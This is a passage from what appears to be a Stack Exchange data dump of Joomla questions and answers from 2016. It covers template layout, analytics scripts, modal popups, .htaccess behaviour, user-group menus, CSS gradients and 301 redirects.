data-spy=&quot;affix&quot; data-offset-top=&quot;120&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;main-menu&quot; /&amp;gt;&#xA;            &amp;lt;/nav&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;page_top_wrapper&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;page_top fixed_width&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;top&quot; /&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;column_wrapper fixed_width&quot;&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;countModules( 'left-column' )) : ?&amp;gt;&#xA;                &amp;lt;div class=&quot;left_column&quot;&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;left-column&quot; style=&quot;well&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;div class=&quot;main_column&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;main-column-top&quot; /&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;main-column-bottom&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;countModules( 'right-column' )) : ?&amp;gt;&#xA;                &amp;lt;div class=&quot;right_column&quot;&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;right-column&quot; style=&quot;well&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;page_bottom&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;bottom&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;footer class=&quot;page_footer&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;footer&quot; /&amp;gt;&#xA;        &amp;lt;/footer&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;debug&quot; /&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see that laying out the HTML is quite simple.&lt;/p&gt;&#xA;" OwnerUserId="8655" LastEditorUserId="438" LastEditDate="2016-07-05T17:45:19.090" LastActivityDate="2016-07-05T17:45:19.090" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17066" PostTypeId="2" ParentId="16757" CreationDate="2016-07-05T17:22:25.870" Score="1" Body="&lt;p&gt;Personally I dont like adding javascripts directly to the HTML of a template. I would rather use the addScriptDeclaration() method provided by joomla:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScriptDeclaration(&quot;&#xA;  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){&#xA;  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),&#xA;  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)&#xA;  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');&#xA;&#xA;  ga('create', 'UA-79362304-1', 'auto');&#xA;  ga('send', 'pageview');&#xA;&#xA;    (adsbygoogle = window.adsbygoogle || []).push({&#xA;      google_ad_client: 'ca-pub-#####################',&#xA;      enable_page_level_ads: true&#xA;  });&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should work in any template in any PHP file that is commonly run by the template.&lt;/p&gt;&#xA;" OwnerUserId="8655" LastActivityDate="2016-07-05T17:22:25.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17067" PostTypeId="2" ParentId="17061" CreationDate="2016-07-05T19:24:43.503" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Extra to the above information, if you want to create your own template check this links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_basic_Joomla!_template&quot; rel=&quot;nofollow&quot;&gt;Creating a basic Joomla! template&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;nofollow&quot;&gt;Adding JavaScript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Template_Development&quot; rel=&quot;nofollow&quot;&gt;Template Development&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After you create your template with the method you've chosen, you'll need to upload your content via modules or via component.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The complexity will depend on the decision you have taken to build your template, developed by yourself, by duplicating an existing template or using a framework like &lt;a href=&quot;http://www.t3-framework.org/&quot; rel=&quot;nofollow&quot;&gt;t3&lt;/a&gt;, &lt;a href=&quot;https://www.joomshaper.com/helix&quot; rel=&quot;nofollow&quot;&gt;helix3&lt;/a&gt; or similar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-07-05T19:24:43.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17068" PostTypeId="2" ParentId="16986" CreationDate="2016-07-05T21:33:36.337" Score="1" Body="&lt;p&gt;Popup windows are part of core Joomla.&#xA;What you need to do to activate functionality is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.modal','a.popuplink');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;a.popuplink&quot; can be replaced by any jQuery selector.&#xA;Script used by Joomla is squeezbox.&#xA;Also 3+ versions of Joomla you can use bootstrap modals, but it will be a little bit mode complicated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Full example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anywhere in your view put&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;btn popuplink&quot; href=&quot;http://joomla.stackexchange.com/posts/17068&quot;&amp;gt;Link that opens up popup styled like button&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;JHtml::_('behavior.modal','a.popuplink');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="3637" LastEditDate="2016-08-05T09:05:28.030" LastActivityDate="2016-08-05T09:05:28.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17069" PostTypeId="1" AcceptedAnswerId="17115" CreationDate="2016-07-05T21:39:36.700" Score="2" ViewCount="466" Body="&lt;p&gt;Can somebody explain what is the purpose of metadata.xml in components files? For example /components/com_content/metadata.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it almost has no content and I've never seen this in use.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-08T17:23:14.350" Title="Purpose of metadata.xml" Tags="|joomla-3.x|joomla-2.5|component|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17071" PostTypeId="2" ParentId="17061" CreationDate="2016-07-05T23:44:06.940" Score="0" Body="&lt;p&gt;Joomla is what I'd use in this case because that's what I'm familiar with but there may be simpler solutions to CMS enable your static website by using &lt;a href=&quot;http://www.couchcms.com/&quot; rel=&quot;nofollow&quot;&gt;CouchCMS&lt;/a&gt; or similar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From their home page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;Simple Open-Source CMS for designers&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;No knowledge of PHP required at all.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Take any HTML/CSS template and make it CMS enabled in minutes. Just drop in a few special XHTML tags into your code and watch your static web pages come to life!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;CouchCMS is open source.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-07-05T23:44:06.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17072" PostTypeId="1" CreationDate="2016-07-06T02:09:16.413" Score="2" ViewCount="752" Body="&lt;p&gt;I was trying to understand .htaccess file. I learned some directives and added them on my htaccess.txt file but things weren't going as I expected. To test whether I put the contents on right file, I rename the htaccess.txt file to .bak. But I am surprised to see that after this change, my site is still running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did remember the other day, I tried changing htaccess.txt to .htaccess and my site is getting 500 error. I didn't do anything after that but today my site can run without it. I then move the .htaccess file (which was manually created by me) to another folder, and my site is still working. Could it be cache? I changed to another browser and my mobile, the site is still working! Mystery to me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, on my linux server, /etc/apache2/apache2.conf, there are these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# AccessFileName: The name of the file to look for in each directory&#xA;# for additional configuration directives.  See also the AllowOverride&#xA;# directive.&#xA;#&#xA;AccessFileName .htaccess&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this means every folders of every sites on my server use .htaccess. However, on this linux server I have several different Joomla sites, and some of them are using htaccess.txt and the others .htaccess!! Another mystery to me! Why is this?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="126" LastEditDate="2016-07-10T12:29:24.047" LastActivityDate="2016-07-10T12:29:24.047" Title="htaccess mysteries: Can Joomla site run without .htaccess?" Tags="|joomla-3.x|.htaccess-configuration|server|configuration|apache|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17073" PostTypeId="1" CreationDate="2016-07-06T02:25:50.720" Score="0" ViewCount="195" Body="&lt;p&gt;I have a test website currently using the Helix3 Quickstart - &lt;a href=&quot;http://helix3.financialadvisersaustralia.com.au/&quot; rel=&quot;nofollow&quot;&gt;http://helix3.financialadvisersaustralia.com.au/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a new User Group and a New Menu assigned to the new User Group. When I login, I want the Main Menu to disappear completely and the new Menu appear with a different set of options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am ok with hiding menu items in the existing Main Menu as I have setup the Login/Logout scenario using Quick Logout plugin but I am struggling to work out how I can change the Menu completely depending on which User Group logs in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present, I am trying to get 1 New User Group but I may eventually have more than a dozen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried finding a solution online but everything is just about the &quot;login&quot; changing to &quot;logout&quot;.&lt;/p&gt;&#xA;" OwnerUserId="8038" LastEditorUserId="126" LastEditDate="2016-07-10T12:28:10.373" LastActivityDate="2016-08-09T12:57:40.270" Title="Change Menu after Logging In" Tags="|joomla-3.x|menu|login|acl|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17074" PostTypeId="2" ParentId="16848" CreationDate="2016-07-06T03:12:39.990" Score="7" Body="&lt;p&gt;When no filter is specified for a calendar field, the system will automatically apply the 'user_utc' filter. According to Joomla!'s documentation, this filter, &quot;calculates the specified value to the time of Greenwich, according to the user time zone settings.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, no timezone adjustment was necessary as the date was already in the appropriate timezone. As such, the 'user_utc' filter is not needed. In order to prevent Joomla! from using that filter, simply add a filter to the form field that doesn't exist. In this case, I used none:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;  description=&quot;COM_MYCOMPONENT_FORM_WEBINAR_DATE_DESC&quot;&#xA;  filter=&quot;none&quot;&#xA;  format=&quot;%m/%d/%Y&quot;&#xA;  label=&quot;COM_MYCOMPONENT_FORM_WEBINAR_DATE_LBL&quot;&#xA;  name=&quot;date&quot;&#xA;  type=&quot;calendar&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This prevents Joomla! from automatically making timezone adjustments to the date specified.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2016-07-06T03:12:39.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17076" PostTypeId="2" ParentId="17072" CreationDate="2016-07-06T07:09:00.300" Score="2" Body="&lt;h1&gt;What is .htaccess?&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.htaccess is a configuration file for use on web servers running the&#xA;  Apache Web Server software. When a .htaccess file is placed in a&#xA;  directory which is in turn 'loaded via the Apache Web Server', then&#xA;  the .htaccess file is detected and executed by the Apache Web Server&#xA;  software. These .htaccess files can be used to alter the configuration&#xA;  of the Apache Web Server software to enable/disable additional&#xA;  functionality and features that the Apache Web Server software has to&#xA;  offer. These facilities include basic redirect functionality, for&#xA;  instance if a 404 file not found error occurs, or for more advanced&#xA;  functions such as content password protection or image hot link&#xA;  prevention.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.htaccess-guide.com&quot; rel=&quot;nofollow&quot;&gt;http://www.htaccess-guide.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;htaccess.txt&lt;/strong&gt; that is contained in the joomla installer &lt;strong&gt;is not .htaccess&lt;/strong&gt; - it's only a sample that can be changed to .htaccess, written to work with Joomla. An htaccess.txt is not executed, or doing anything else, it's only a text (.txt) file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla can work without &lt;code&gt;.htaccess&lt;/code&gt;, this is how it is working when first installed. But in order to enable &lt;strong&gt;url rewriting&lt;/strong&gt; (setting in Global Configuration) so that you can rewrite the /&lt;code&gt;index.php&lt;/code&gt; urls to those without it, Joomla requires the &lt;code&gt;mod_rewrite&lt;/code&gt; and this special rewriting for the &lt;code&gt;index.php&lt;/code&gt;, that is written and shipped with the core &lt;code&gt;htaccess.txt&lt;/code&gt;. So in this case the &lt;code&gt;.htaccess&lt;/code&gt; is required as Joomla relies on it, and that's when Joomla documentation asks to rename the &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt;, otherwise your urls will return 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.htaccess&lt;/code&gt; is very &lt;strong&gt;useful&lt;/strong&gt; and &lt;strong&gt;powerful&lt;/strong&gt;, as it allows &lt;strong&gt;custom configuration&lt;/strong&gt; of the &lt;strong&gt;apache webserver&lt;/strong&gt;. It can be used to optimize and enhance operations of the server according to the specific needs of a web application. From simple redirections, to file handling, speed enhancements, restrictions and security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So although for Joomla and generally websites/ web applications the htaccess is optional, its power and the results you can achieve with it makes it a strong recommendation, if not a requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More reading: &lt;a href=&quot;http://www.askapache.com/category/htaccess/&quot; rel=&quot;nofollow&quot;&gt;http://www.askapache.com/category/htaccess/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-06T07:15:41.257" LastActivityDate="2016-07-06T07:15:41.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17077" PostTypeId="2" ParentId="17073" CreationDate="2016-07-06T07:21:24.913" Score="1" Body="&lt;p&gt;You will need &lt;strong&gt;ACL levels&lt;/strong&gt; according to your &lt;strong&gt;user groups&lt;/strong&gt;. Then create the corresponding content/menus/modules etc considering your groups/viewing levels and assign each content item to that access viewing level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are going to have too many different groups with different access levels, then it might be better to use a Membership extension that can control what members group has access to each content item.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-10T12:28:32.280" LastActivityDate="2016-07-10T12:28:32.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17078" PostTypeId="1" AcceptedAnswerId="17081" CreationDate="2016-07-06T09:42:21.423" Score="1" ViewCount="147" Body="&lt;p&gt;I have added a request variable in the menu for my component but it is not working. Following are 2 ways by which I tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Request Variable:&lt;/strong&gt; Check the image attached for the output. Value saves in the admin menu but not able to fetch in frontend.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;image&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t35R1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t35R1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;default.xml&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;gid&quot; type=&quot;sql&quot; label=&quot;FIELDLABEL&quot; description=&quot;FIELDDESC&quot; query=&quot;SELECT * FROM #__component_list&quot; value_field=&quot;name&quot; key_field=&quot;id&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;Please select&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;models/filename.php:&lt;/strong&gt; &lt;code&gt;$gid&lt;/code&gt; returns null&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$gid = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('gid');&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Params Method:&lt;/strong&gt; Check the image attached. Value saves in admin menu and can access the variable in model by the following code.&#xA;    But, in admin menu the saved value is not binding in the field.&#xA;    Can't understand why, though &lt;code&gt;gid&lt;/code&gt; value changes in database each time I save&#xA;    the menu.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;image&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/37UoP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/37UoP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;default.xml:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;  &amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;gid&quot; type=&quot;sql&quot; label=&quot;FIELDLABEL&quot; description=&quot;FIELDDESC&quot; query=&quot;SELECT * FROM #__component_list&quot; value_field=&quot;name&quot; key_field=&quot;id&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot;&amp;gt;Please select&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;model/filename.php:&lt;/strong&gt; Returns the correct result in frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$menuParam = JFactory::getApplication()-&amp;gt;getParams();&#xA; $gid = $menuParam-&amp;gt;get('gid');&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, referred this question but couldn't find possible answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/8709/get-the-menu-item-variable-using-jinput&quot;&gt;Get the menu item variable using Jinput&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And this joomla documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_variable_request_in_the_menu_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_variable_request_in_the_menu_type&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-07-06T10:35:01.167" Title="Menu Request variable not working" Tags="|component|menu-parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17079" PostTypeId="1" AcceptedAnswerId="17084" CreationDate="2016-07-06T09:42:46.590" Score="1" ViewCount="499" Body="&lt;p&gt;I need to change the alias of a K2 article from &lt;code&gt;id-alias1&lt;/code&gt; to &lt;code&gt;id-alias2&lt;/code&gt;.&lt;br&gt;&#xA;The issue is that search engines have already indexed the url with &lt;code&gt;id-alias1&lt;/code&gt; so I need to use a 301 redirect from &lt;code&gt;id-alias1&lt;/code&gt;to &lt;code&gt;id-alias2&lt;/code&gt; to avoid both urls to be indexed and considered as duplicate content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the native joomla redirect component but it has no effect on these urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make 301 redirect between these 2 urls with the redirect component or other? &lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2017-04-21T10:06:30.683" Title="Redirect K2 article url after alias change" Tags="|joomla-3.x|k2|joomla-3.5|seo|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17081" PostTypeId="2" ParentId="17078" CreationDate="2016-07-06T10:35:01.167" Score="1" Body="&lt;p&gt;I solved the problem by using &lt;strong&gt;(2) - Params Method&lt;/strong&gt; . I was taking the Please select option value to be 0 in &lt;code&gt;default.xml&lt;/code&gt;. The solution was to set it null as follows and it is worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;  &amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;gid&quot; type=&quot;sql&quot; label=&quot;FIELDLABEL&quot; description=&quot;FIELDDESC&quot; query=&quot;SELECT * FROM #__component_list&quot; value_field=&quot;name&quot; key_field=&quot;id&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;Please select&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-07-06T10:35:01.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17082" PostTypeId="1" CreationDate="2016-07-06T11:08:49.280" Score="-2" ViewCount="41" Body="&lt;p&gt;I have added the following code to my article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;contents&quot;&amp;gt;&#xA;       &amp;lt;img src=&quot;image here&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;gradient&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the following code to my css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#container {&#xA;    position:relative;&#xA;    padding:50px;&#xA;    margin:50px;&#xA;}&#xA;#contents {&#xA;    background:white;&#xA;}&#xA;#gradient {&#xA;    position:absolute;&#xA;    z-index:2;&#xA;    right:0; bottom:0; left:0;&#xA;    height:300px;&#xA;    background: none;&#xA;    background: -moz-linear-gradient(top,  rgba(255,255,255,0) 0%, rgba(255,255,255,1) 80%);&#xA;    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(80%,rgba(255,255,255,1)));&#xA;    background: -webkit-linear-gradient(top,  rgba(255,255,255,0) 0%,rgba(255,255,255,1) 80%);&#xA;    background: -o-linear-gradient(top,  rgba(255,255,255,0) 0%,rgba(255,255,255,1) 80%);&#xA;    background: -ms-linear-gradient(top,  rgba(255,255,255,0) 0%,rgba(255,255,255,1) 80%);&#xA;    background: linear-gradient(to bottom,  rgba(255,255,255,0) 0%,rgba(255,255,255,1) 80%);&#xA;    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works fine, however can someone show me how to make the fade appear in the middle of the article? At the moment, the fades out at the end of the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="168" LastEditDate="2016-07-06T11:13:22.490" LastActivityDate="2016-07-06T11:40:56.953" Title="How to Tweak CSS script to make action appear in middle of Article" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="3" ClosedDate="2016-07-09T13:15:10.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="17083" PostTypeId="2" ParentId="17082" CreationDate="2016-07-06T11:40:56.953" Score="1" Body="&lt;p&gt;Just modify the &lt;code&gt;80%&lt;/code&gt; to &lt;code&gt;50%&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#gradient {&#xA;    position:absolute;&#xA;    z-index:2;&#xA;    right:0; bottom:0; left:0;&#xA;    height:300px;&#xA;    background: none;&#xA;    background: -moz-linear-gradient(top,  rgba(255,255,255,0) 0%, rgba(255,255,255,1) 50%);&#xA;    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(50%,rgba(255,255,255,1)));&#xA;    background: -webkit-linear-gradient(top,  rgba(255,255,255,0) 0%,rgba(255,255,255,1) 50%);&#xA;    background: -o-linear-gradient(top,  rgba(255,255,255,0) 0%,rgba(255,255,255,1) 50%);&#xA;    background: -ms-linear-gradient(top,  rgba(255,255,255,0) 0%,rgba(255,255,255,1) 50%);&#xA;    background: linear-gradient(to bottom,  rgba(255,255,255,0) 0%,rgba(255,255,255,1) 50%);&#xA;    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8655" LastActivityDate="2016-07-06T11:40:56.953" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="17084" PostTypeId="2" ParentId="17079" CreationDate="2016-07-06T12:17:16.420" Score="2" Body="&lt;p&gt;The Redirect Manager only works if the URL of the first article returns a 404 error. If it doesn't, then the redirect will not take place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you do this redirect in the &lt;code&gt;.htaccess&lt;/code&gt; file by adding the following (after &lt;code&gt;RewriteManager On&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;REDIRECT 301 /sub-1/id-alias1 http://www.yourwebsite.com/sub-1/id-alias2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the first URL is &lt;code&gt;http://www.yourwebsite.com/sub-1/id-alias1&lt;/code&gt; and the second URL is &lt;code&gt;http://www.yourwebsite.com/sub-1/id-alias2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redirects in the .htaccess file are the most efficient and you don't have to install any extension for them to work.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-06T12:17:16.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
